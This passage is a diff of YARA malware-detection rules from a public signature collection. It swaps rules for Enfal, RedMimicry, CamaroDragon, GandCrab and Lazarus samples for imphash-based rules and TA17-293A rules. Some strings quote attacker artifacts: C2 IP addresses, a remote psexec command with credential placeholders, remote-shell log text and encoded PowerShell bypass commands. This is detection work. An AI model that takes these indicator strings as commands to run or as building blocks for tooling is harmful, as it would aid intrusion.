pe.imphash()=="09D278F9DE118EF09163C6140255C690" or pe.imphash()=="03866661686829d806989e2fc5a72606" or pe.imphash()=="e57401fbdadcd4571ff385ab82bd5d6d" or pe.imphash()=="84B763C45C0E4A3E7CA5548C710DB4EE" or pe.imphash()=="19584675d94829987952432e018d5056" or pe.imphash()=="330768a4f172e10acb6287b87289d83b")
 }
-rule SIGNATURE_BASE_Enfal_Malware_Backdoor : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Imphash_Mar23_2 : HIGHVOL FILE
 {
 	meta:
-		description = "Generic Rule to detect the Enfal Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4631888c-e1e2-5969-a312-0f0011cd605c"
-		date = "2015-02-10"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_enfal.yar#L27-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ce0c19e666cc0db50194bd56f51beddeee22c787b67810655241fdd4d34a31e"
-		score = 60
+		description = "Detects imphash often found in malware samples (Zero hits with with search for 'imphash:x p:0' on Virustotal)"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b739d540-5d9f-53b3-9e42-a514dc972e8d"
+		date = "2023-03-23"
+		modified = "2023-11-25"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_imphash_detection.yar#L194-L295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12bf2795f4a140adbaa0af6ad4b2508d398d8ba69e9dadb155f800b10f7458c4"
+		hash = "14ec56489fbcc3c7f1ef9a4d4a80ff302a5e233cdc4429a29c635a88fb1278d6"
+		hash = "13731912823d6ce01c28a8d7d7f961505f461620bb35adbb409d4954ba1f4b8e"
+		hash = "15e59cc5d7b83e63d40dbfd8406701cb4decd31353f68fda47238d073c87e4ea"
+		hash = "13e5bb40be20b1a0bc28081ce7798f339c28c9652cb37b538c29872dfd0cd51d"
+		hash = "16f963afdb30b38ba4b8b98ce56a37626e9fd87de9eba5f9903d2ba7f8a77788"
+		hash = "168f22d02304ce66be88d2370c8fa7c7d9aa2ccf80f8e376edfeabfc9b96c73d"
+		hash = "9e7701450dbcbd35083e34df935bd77a95735c4b441e0fc8eacd543a621f2fa5"
+		hash = "51205c100702b21cce600692d69f3b108f49228e53f36678dd8b39434406526b"
+		hash = "c9b48e8b0e7c6fa75886554659bc0529e454d84b29daa07bd4323aca9a33f607"
+		hash = "ba5c06703bd3c093afa89e45d86aaf6c151fbaef44ebf3b65c97f3b376a88c72"
+		hash = "7281afc138e8e898aee16d415cd02a29dc5dedda5b11c23934aac0ebd208373b"
+		hash = "10a091b2468a8286f7b1a580d8923aef48856b43014e849035f05c4dbdc0a413"
+		hash = "56c04e76427bd982be83799d0a435732193d7bf5a70cdeba5eb63eaf0d4ebb77"
+		hash = "0aa8b7eddc4792a82f247702442c04e50173bd7712a4b596545916480942853b"
+		hash = "627f043ad875c182682149653363b7f856dd618d169821b18df7bc9cdf6269d8"
+		hash = "e1df460fd99c4f901859f3a8ec23b041ba9f4b79897dec349a96d6a27fb3e335"
+		hash = "f10ecbd8031ce85b782c59682ff32301a65e0975687977688771f1057fb063d1"
+		hash = "1bc7b8932b5b077b359c79e7ca664938b7a487a4e7e6b99d6647d6803bc677c5"
+		hash = "01f81029a5e93cbfecfbc81cbd4a2ffd1bb1b6159e2a144a21e58caf8dab9661"
+		hash = "cd33a71f71e2971667bacb0da71f2d36073777993b9581ec90bbf042162c3530"
+		hash = "4aab991149cb2dc8c0c0a323af3acbbd73d6a22177910ef3af92b05ae7c9ae7b"
+		hash = "df05fa3983c9e623388231d366dba4e435575ca53421d3f0bcb0fb346dd971d4"
+		hash = "14de3584fe7108386f7637c2bd343f30341c0fa2102d52bb35ee772b5b7672f0"
+		hash = "c4d9ad5cffd9aa13dfe3acbf0905810e28ff96d231541d7e209327ca5b0b24fe"
+		hash = "5e0bed2269dc34c6cc2db30b0a53282e6debb85b3c90a857d1be4cfd06312211"
+		hash = "3aa13e72382a2d7da592273b8c18a42106b65db528e16b6066646812e81555c4"
+		hash = "244c4a930e3644ffb96bf3ab33e8c8c0f94ed9fe6a8b2fc45fc8e9b6471ef3a8"
+		hash = "f00848b8edeeb5a668bf7e89e3f33f438b2f5d5cf130596a8ed2531e21be6d81"
+		hash = "5b9348c24ff604e78d70464654e645b90dc695c7e0415959c443fe29cebc3c4e"
+		logic_hash = "c6482cbc01a880ffd3056d28a2fde8f87402b1f85d36075c1f0b50788d469ca3"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
-		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
-		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
-
-	strings:
-		$x1 = "Micorsoft Corportation" fullword wide
-		$x2 = "IM Monnitor Service" fullword wide
-		$s1 = "imemonsvc.dll" fullword wide
-		$s2 = "iphlpsvc.tmp" fullword
-		$z1 = "urlmon" fullword
-		$z2 = "Registered trademarks and service marks are the property of their respec" wide
-		$z3 = "XpsUnregisterServer" fullword
-		$z4 = "XpsRegisterServer" fullword
-		$z5 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
+		tags = "HIGHVOL, FILE"
+		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or ( all of ($s*) and all of ($z*)))
+		uint16(0)==0x5A4D and (pe.imphash()=="e4290fa6afc89d56616f34ebbd0b1f2c" or pe.imphash()=="8abecba2211e61763c4c9ffcaa13369e" or pe.imphash()=="a64e048b98d051ae6e6b6334f77c95d3" or pe.imphash()=="359d89624a26d1e756c3e9d6782d6eb0" or pe.imphash()=="c2a87fabf96470db507b2e6b43bd92eb" or pe.imphash()=="62ec3dce1eba1b68f6a4511bb09f8c2c" or pe.imphash()=="5662cfcdfd9da29cb429e7528d5af81e" or pe.imphash()=="406c785a6e2c6970c1e8ed62877e197b" or pe.imphash()=="dbf687d6aa2a6cafe4349f7b0821a792" or pe.imphash()=="6dca3e9fb3928bbdb54dbce669943ec8" or pe.imphash()=="f1a539a5b71ad53ac586f053145f08ec" or pe.imphash()=="3a2003ea545fe942681da9e7683ebb58" or pe.imphash()=="a8286b574ff850cd002ea6282d15aa40" or pe.imphash()=="3c8577ca4bab2f95cc6fc73ef1895288" or pe.imphash()=="84706849fa809feaa385711a628be029" or pe.imphash()=="ba23a556ac1d6444f7f76feafd6c8867" or pe.imphash()=="95e6f8741083e0c7d9a63d45e2472360" or pe.imphash()=="774d797db707398fd2ef1979d02634d5" or pe.imphash()=="8c16c795b57934183422be5f6df7d891" or pe.imphash()=="98f67c550a7da65513e63ffd998f6b2e" or pe.imphash()=="e836076a09dba03e4d6faa46dda0fefc" or pe.imphash()=="ff63dc9c65eb25911a9bc535c8f06ad0" or pe.imphash()=="08b67a9663d3a8c9505f3b2561bbdd1c" or pe.imphash()=="135e92fc9902f3140f2e5a51458efdf0" or pe.imphash()=="4753904c40d638a1bc745c65b88291d5" or pe.imphash()=="0f44bf2b3b0b8d5ecae5689ff1d0e90d" or pe.imphash()=="c4c9ecfc26ca516a80b8f6f5b2bdb7e6" or pe.imphash()=="46ad3d954e527f769e37017b3e128039" or pe.imphash()=="802dcac7aab948c19738ba3df9f356d9" or pe.imphash()=="b36a21279375c40e6f4c1ea347f906de" or pe.imphash()=="77a185e903c5527243ef219b003bfd38" or pe.imphash()=="12a30b523ac71a3cbe9145c89400dd7f" or pe.imphash()=="cc40fefa3af5cd00cc28dbd874038a4d" or pe.imphash()=="3d8c26f4cb1782a87c3bb42796fb6b85" or pe.imphash()=="2f4ddcfebbcad3bacadc879747151f6f" or pe.imphash()=="76812f441b0ed9d3cc0748af25d689a3" or pe.imphash()=="9a06f0024c1694774ae97311608bab5b" or pe.imphash()=="481f47bbb2c9c21e108d65f52b04c448" or pe.imphash()=="286870a926664a5129b8b68ed0d4a8eb" or pe.imphash()=="a0db151d55761167d93eba72d3d94b32" or pe.imphash()=="663243fe4d94e1304b265ce4011cd01b" or pe.imphash()=="f24e64014af9015dc25262e5076fe61f" or pe.imphash()=="b7d08302c927428e16a2ad8d18b9d2b7" or pe.imphash()=="352063077f27a851dc2b08e15f08105e" or pe.imphash()=="b0b97d1a91a2730b3daa8bbb2e86b402" or pe.imphash()=="bc96f1c981700752dc2cf9553da99eb6" or pe.imphash()=="f68ddef5f29b66bbd543e947c8743bb0" or pe.imphash()=="6dfbc160505aa2f7205766eaa6fe72a1" or pe.imphash()=="a202429ffe8d8c8b722572cffd5681a7" or pe.imphash()=="342a3708d93b6b819b7b1a768201a747" or pe.imphash()=="cdc00badc7162acde9bb032e793ac137" or pe.imphash()=="be19e18d6a8b41631d40059031a928bb" or pe.imphash()=="0c54f96a844b02689687407de9b6663e" or pe.imphash()=="fa5f28e70130a452b7c0a51db5544ef9" or pe.imphash()=="2e5708ae5fed0403e8117c645fb23e5b" or pe.imphash()=="8d92fa1956a6a631c642190121740197" or pe.imphash()=="dc73a9bd8de0fd640549c85ac4089b87")
 }
-rule SIGNATURE_BASE_HKTL_Redmimicry_Agent
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Imphash_Mar23_3 : FILE
 {
 	meta:
-		description = "matches the RedMimicry agent executable and payload"
-		author = "mirar@chaosmail.org"
-		id = "a4d4ec77-4a0d-5afd-9181-85433e8b5fda"
-		date = "2020-06-22"
-		modified = "2023-01-06"
-		reference = "https://redmimicry.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_redmimicry.yar#L2-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "645da2764ca911c4aae80b90622d2c61933dee929403858fc49f7bc0d44300c6"
-		score = 75
+		description = "Detects imphash often found in malware samples (Maximum 0,25% hits with search for 'imphash:x p:0' on Virustotal) = 99,75% hits"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "eb91e700-6478-5085-a393-a7b342c0eb4f"
+		date = "2023-03-23"
+		modified = "2023-07-24"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_imphash_detection.yar#L297-L329"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5296cf0eb22fba6e2f68d0c9de9ef7845f330f7c611a0d60007aa87e270c62a"
+		hash = "5a5a5f71c2270cea036cd408cde99f4ebf5e04a751c558650f5cb23279babe6d"
+		hash = "481b0d9759bfd209251eccb1848048ebbe7bd2c87c5914a894a5bffc0d1d67ff"
+		hash = "716ba6ea691d6a391daedf09ae1262f1dc1591df85292bff52ad76611666092d"
+		hash = "800d160736335aafab10503f7263f9af37a15db3e88e41082d50f68d0ad2dabd"
+		hash = "416155124784b3c374137befec9330cd56908e0e32c70312afa16f8220627a52"
+		hash = "21899e226502fe63b066c51d76869c4ec5dbd03570551cea657d1dd5c97e7070"
+		hash = "0461830e811d3831818dac5a67d4df736b4dc2e8fb185da439f9338bdb9f69c3"
+		hash = "773edc71d52361454156dfd802ebaba2bb97421ce9024a7798dcdee3da747112"
+		hash = "fe53b9d820adf3bcddf42976b8af1411e87d9dfd9aa479f12b2db50a5600f348"
+		logic_hash = "f11de8b7f78cdfc79116670409c31745e2803ef8b8e97d08be012f1146b3d816"
+		score = 45
 		quality = 85
-		tags = ""
-		sharing = "tlp:white"
-
-	strings:
-		$reg0 = "HKEY_CURRENT_USER\\" ascii
-		$reg1 = "HKEY_LOCAL_MACHINE\\" ascii
-		$reg2 = "HKEY_CURRENT_CONFIG\\" ascii
-		$reg3 = "HKEY_CLASSES_ROOT\\" ascii
-		$cmd0 = "C:\\Windows\\System32\\cmd.exe" ascii fullword
-		$lua0 = "client_recv" ascii fullword
-		$lua1 = "client_send" ascii fullword
-		$lua2 = "$LuaVersion: " ascii
-		$sym0 = "VirtualAllocEx" wide fullword
-		$sym1 = "kernel32.dll" wide fullword
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and (pe.imphash()=="afcdf79be1557326c854b6e20cb900a7" or pe.imphash()=="6ed4f5f04d62b18d96b26d6db7c18840" or pe.imphash()=="fc6683d30d9f25244a50fd5357825e79" or pe.imphash()=="2c5f2513605e48f2d8ea5440a870cb9e" or pe.imphash()=="0b5552dccd9d0a834cea55c0c8fc05be") and pe.number_of_signatures==0
 }
-rule SIGNATURE_BASE_HKTL_Redmimicry_Winntiloader
+import "pe"
+
+rule SIGNATURE_BASE_TA17_293A_Malware_1
 {
 	meta:
-		description = "matches the Winnti 'Cooper' loader version used for the RedMimicry breach emulation"
-		author = "mirar@chaosmail.org"
-		id = "a8be1377-faa0-560d-a12c-0369b1f91180"
-		date = "2020-06-22"
-		modified = "2023-01-10"
-		reference = "https://redmimicry.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_redmimicry.yar#L28-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8ef457ac41a7c45cc7e97330bdd3de12eb3391c03d0a6a87ddc669c841c325d"
-		score = 75
-		quality = 85
+		description = "inveigh pen testing tools & related artifacts"
+		author = "US-CERT Code Analysis Team (modified by Florian Roth)"
+		id = "297611c9-f4b1-5618-bd43-5a7444365727"
+		date = "2017-07-17"
+		modified = "2023-12-05"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L14-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "408297496dfb1cc28e1caa7faaf8537b7970bb1742e1b373175f8273fe11f19d"
+		score = 50
+		quality = 75
 		tags = ""
-		sharing = "tlp:white"
+		hash0 = "61C909D2F625223DB2FB858BBDF42A76"
+		hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
+		hash2 = "BA756DD64C1147515BA2298B6A760260"
+		hash3 = "8943E71A8C73B5E343AA9D2E19002373"
+		hash4 = "04738CA02F59A5CD394998A99FCD9613"
+		hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
+		hash6 = "65A1A73253F04354886F375B59550B46"
+		hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
+		hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
+		hash9 = "722154A36F32BA10E98020A8AD758A7A"
+		hash10 = "4595DBE00A538DF127E0079294C87DA0"
 
 	strings:
-		$s0 = "Cooper" ascii fullword
-		$s1 = "stone64.dll" ascii fullword
-		$decoding_loop = { 49 63 D0 43 8D 0C 01 41 FF C0 42 32 0C 1A 0F B6 C1 C0 E9 04 C0 E0 04 02 C1 42 88 04 1A 44 3B 03 72 DE }
+		$n1 = "file://"
+		$ax1 = "184.154.150.66"
+		$ax2 = "5.153.58.45"
+		$ax3 = "62.8.193.206"
+		$ax4 = "/pshare1/icon"
+		$ax5 = "/ame_icon.png"
+		$ax6 = "/1/ree_stat/p"
+		$s1 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
+		$s2 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
+		$s3 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
+		$s4 = "NlZzSZk="
+		$s5 = "WlJTb1q5kaxqZaRnser3sw=="
+		$x1 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
+		$x2 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
+		$x3 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
+		$x4 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
+		$x5 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
+		$x6 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
+		$x7 = { 476F206275696C642049443A202266626433373937623163313465306531 }
+		$x8 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
+		$x9 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
+		$x10 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
+		$x11 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
+		$x12 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+		$x13 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+		$x14 = "http://bit.ly/2m0x8IH"
 
 	condition:
-		all of them
+		($n1 and 1 of ($ax*)) or 2 of ($s*) or 1 of ($x*)
 }
-rule SIGNATURE_BASE_MAL_LNX_Camarodragon_Sheel_Oct23 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_TA17_293A_Energetic_Bear_Api_Hashing_Tool : FILE
 {
 	meta:
-		description = "Detects CamaroDragon's tool named sheel"
-		author = "Florian Roth"
-		id = "f6f08c0e-236c-5194-9369-da8fdef4aa21"
-		date = "2023-10-06"
+		description = "Energetic Bear API Hashing Tool"
+		author = "CERT RE Team"
+		id = "4e58800a-9618-5d8b-954c-e843be6002c2"
+		date = "2024-02-01"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_camaro_dragon_oct23.yar#L2-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b06f645b766a099adb71c144bdced70c130735e75d5be6451f71077c7d3a5d19"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L77-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5f8a770c727cdd2d32d7cd1ad45ee8b37f7fc63c9e7f4311d318eb15d9050909"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7985f992dcc6fcce76ee2892700c8538af075bd991625156bf2482dbfebd5a5a"
+		assoc_report = "DHS Report TA17-293A"
 
 	strings:
-		$x1 = "-h server_ip -p server_port -i update_index[0-4] [-r]" ascii fullword
-		$s1 = "read_ip" ascii fullword
-		$s2 = "open fail.%m" ascii fullword
-		$s3 = "ri:h:p:" ascii fullword
-		$s4 = "update server list success!" ascii fullword
+		$api_hash_func_v1 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
+		$api_hash_func_v2 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 44 24 14 EB EC }
+		$api_hash_func_x64 = { 8A 08 84 C9 74 ?? 80 C9 60 48 01 CB 48 C1 E3 01 48 03 45 20 EB EA }
+		$http_push = "X-mode: push" nocase
+		$http_pop = "X-mode: pop" nocase
 
 	condition:
-		uint16(0)==0x457f and filesize <30KB and (1 of ($x*) or 3 of them ) or 4 of them
+		$api_hash_func_v1 or $api_hash_func_v2 or $api_hash_func_x64 and ( uint16(0)==0x5a4d or $http_push or $http_pop)
 }
-rule SIGNATURE_BASE_MAL_LNX_Camarodragon_Horseshell_Oct23 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_TA17_293A_Query_XML_Code_MAL_DOC_PT_2 : FILE
 {
 	meta:
-		description = "Detects CamaroDragon's HorseShell implant for routers"
-		author = "Florian Roth"
-		id = "9e54745f-146f-50a6-b30f-53aaaa6907b5"
-		date = "2023-10-06"
+		description = "No description has been set in the source file - Signature Base"
+		author = "other (modified by Florian Roth)"
+		id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_camaro_dragon_oct23.yar#L27-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73adaa286b345cffd35e6ba017b3204d8818dcaeea8a48ca93959566461ac3ca"
-		score = 85
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L95-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d4c1b23aa8323fa9ddec362bb36e13e5f992883fbf7936b34cf03fe62ee6127"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "998788472cb1502c03675a15a9f09b12f3877a5aeb687f891458a414b8e0d66c"
+		name = "Query_XML_Code_MAL_DOC_PT_2"
 
 	strings:
-		$x1 = "echo \"start shell '%s' failed!\" > .remote_shell.log" ascii fullword
-		$x2 = "*****recv NET_REQ_HORSE_SHELL REQ_CONNECT_PORT*****" ascii fullword
-		$s1 = "m.cremessage.com" ascii fullword
-		$s2 = "POST http://%s/index.php HTTP/1.1" ascii fullword
-		$s3 = "wzsw_encrypt_buf" ascii fullword
-		$s4 = "body:%d-%s" ascii fullword
-		$s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident" ascii fullword
-		$s6 = "process_http_read_events" ascii fullword
-		$op1 = { c4 34 42 00 02 30 63 00 40 10 60 00 09 ae 62 00 48 8e 62 00 cc }
-		$op2 = { 27 f4 8c 46 27 f0 03 20 f8 09 00 60 28 21 }
+		$dir1 = "word/_rels/settings.xml.rels"
+		$bytes = {8c 90 cd 4e eb 30 10 85 d7}
 
 	condition:
-		uint16(0)==0x457f and filesize <600KB and (1 of ($x*) or 3 of them ) or 5 of them
+		uint32(0)==0x04034b50 and $dir1 and $bytes
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_Gandcrab_Apr18_1 : FILE
+rule SIGNATURE_BASE_TA17_293A_Query_XML_Code_MAL_DOC : FILE
 {
 	meta:
-		description = "Detects GandCrab malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ef7983cd-a7b3-5ce2-8cff-1bcf35bc6140"
-		date = "2018-04-23"
+		description = "No description has been set in the source file - Signature Base"
+		author = "other (modified by Florian Roth)"
+		id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/MarceloRivero/status/988455516094550017"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mal_grandcrab.yar#L3-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70fc8deb91126a7404095aaa512e9b7542fe8605f83a037a10f8ccff76c27d4f"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L108-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fb3a84b66554e6c286ba64046d9b18a819f81108ee965862f288637ccee816d2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6fafe7bb56fd2696f2243fc305fe0c38f550dffcfc5fca04f70398880570ffff"
+		name = "Query_XML_Code_MAL_DOC"
+
+	strings:
+		$dir = "word/_rels/" ascii
+		$dir2 = "word/theme/theme1.xml" ascii
+		$style = "word/styles.xml" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and pe.imphash()=="7936b0e9491fd747bf2675a7ec8af8ba"
+		uint32(0)==0x04034b50 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Lazarus_Dropper_Jun18_1 : FILE
+rule SIGNATURE_BASE_TA17_293A_Query_Javascript_Decode_Function : FILE
 {
 	meta:
-		description = "Detects Lazarus Group Dropper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "226be9d4-93c0-5512-9667-3388cd6f20d4"
-		date = "2018-06-01"
+		description = "No description has been set in the source file - Signature Base"
+		author = "other (modified by Florian Roth)"
+		id = "bc206ab3-a86b-5abe-ae84-15abab838d4e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_jun18.yar#L13-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "868297209177471f29c9653747d3205f55a14b74a5da64562b20ebeadb14b1cf"
-		score = 60
-		quality = 65
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L122-L140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8b42c67bdcdbb7c38128d8956904baa524d155b1e6957c5c1b5bc28fd8a57e8a"
+		score = 75
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "086a50476f5ceee4b10871c1a8b0a794e96a337966382248a8289598b732bd47"
-		hash2 = "9f2d4fd79d3c68270102c4c11f3e968c10610a2106cbf1298827f8efccdd70a9"
+		name = "Query_Javascript_Decode_Function"
 
 	strings:
-		$s1 = /%s\\windows10-kb[0-9]{7}.exe/ fullword ascii
-		$s2 = "EYEJIW" fullword ascii
-		$s3 = "update" fullword wide
+		$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
+		$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
+		$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
+		$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <21000KB and (pe.imphash()=="fcac768eff9896d667a7c706d70712ce" or all of them )
+		filesize <20KB and all of ($decode*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Lazarus_RAT_Jun18_1 : FILE
+rule SIGNATURE_BASE_TA17_293A_Hacktool_PS_1 : FILE
 {
 	meta:
-		description = "Detects Lazarus Group RAT"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd394d15-70c5-543a-a845-2058f296b5f8"
-		date = "2018-06-01"
